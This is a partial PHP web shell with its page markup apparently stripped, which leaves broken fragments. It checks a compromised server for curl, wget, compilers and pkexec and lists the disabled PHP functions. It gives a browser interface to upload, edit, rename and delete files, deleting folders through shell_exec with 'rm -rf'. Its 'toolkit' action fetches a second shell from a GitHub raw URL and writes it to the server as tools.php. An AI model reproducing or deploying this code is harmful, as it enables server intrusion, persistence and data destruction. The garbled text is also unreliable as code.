ON" : "OFF";
$wget = (@shell_exec("wget --help")) ? "ON" : "OFF";
$python = (@shell_exec("python --help")) ? "ON" : "OFF";
$perl = (@shell_exec("perl --help")) ? "ON" : "OFF";
$ruby = (@shell_exec("ruby --help")) ? "ON" : "OFF";
$gcc = (@shell_exec("gcc --help")) ? "ON" : "OFF";
$pkexec = (@shell_exec("pkexec --version")) ? "ON" : "OFF";
$disfuncs = @ini_get("disable_functions");
$showdisbfuncs = (!empty($disfuncs)) ? "$disfuncs" : "NONE";
?>
System Info: = php_uname(); ?>
PHP Version: = phpversion(); ?>
CURL: = $curl; ?>, WGET: = $wget; ?>, PERL: = $perl; ?>, RUBY: = $ruby; ?>, GCC: = $gcc; ?>, PKEXEC: = $pkexec; ?>
Disabled Functions: = $showdisbfuncs; ?>
~" : "";
foreach ($paths as $id => $pat) {
echo "
$pat/";
}
?>
alert('$file uploaded'); window.location = '?path=$path';";
} else {
echo "";
}
}
}
if (!isset($_GET["a"])) :
if (is_readable($path)) :
?>
Filename: = $filename; ?>
alert('$filename Created'); window.location = '?path=$path';";
} else {
echo "Failed to create";
}
}
} elseif (isset($_GET["a"]) && $_GET["a"] == "createFolder") {
?>
alert('$foldername Created'); window.location = '?path=$path';" : "Failed to create";
}
} elseif (isset($_GET['a']) && $_GET["a"] == "editFile") {
$file = basename($_GET["file"]);
?>
alert('$filename Edited'); window.location = '?path=$path';";
} else {
echo "Failed to create";
}
}
} elseif (isset($_GET['a']) && $_GET["a"] == "delete") {
if (!empty($_GET["file"])) {
$filename = basename($file);
if (unlink($file)) {
echo "";
} else {
echo "Delete $filename failed";
}
} else {
$folder_name = basename($path);
if (is_writable($path)) {
@rmdir($path);
@shell_exec("rm -rf \"$path\"");
@shell_exec("rmdir /s /q \"$path\"");
echo "";
} else {
echo "Delete $folder_name failed";
}
}
} elseif (isset($_GET['a']) && $_GET["a"] == "rename") {
$oriname = (isset($_GET["file"])) ? basename($_GET["file"]) : basename($_GET["path"]);
?>
alert('$oriname renamed to $newname'); window.location = '?path=$path';";
} else {
"Failed to rename";
}
}
} elseif (isset($_GET['a']) && $_GET["a"] == "toolkit") {
$cc = curl_init();
curl_setopt($cc, CURLOPT_URL, "https://raw.githubusercontent.com/nastar-id/kegabutan/master/shelk.php");
curl_setopt($cc, CURLOPT_RETURNTRANSFER, true);
$xx = curl_exec($cc);
curl_close($cc);
$tool = base64_encode($xx);
if (doFile($path . "/tools.php", $tool)) {
echo "";
} else {
echo "";
}
}
?>
= 1024 && $unit < count($units) - 1) {
$bytes /= 1024;
$unit++;
}
return round($bytes, 2) . ' ' . $units[$unit];
}
function hi_permission($items)
{
$perms = fileperms($items);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>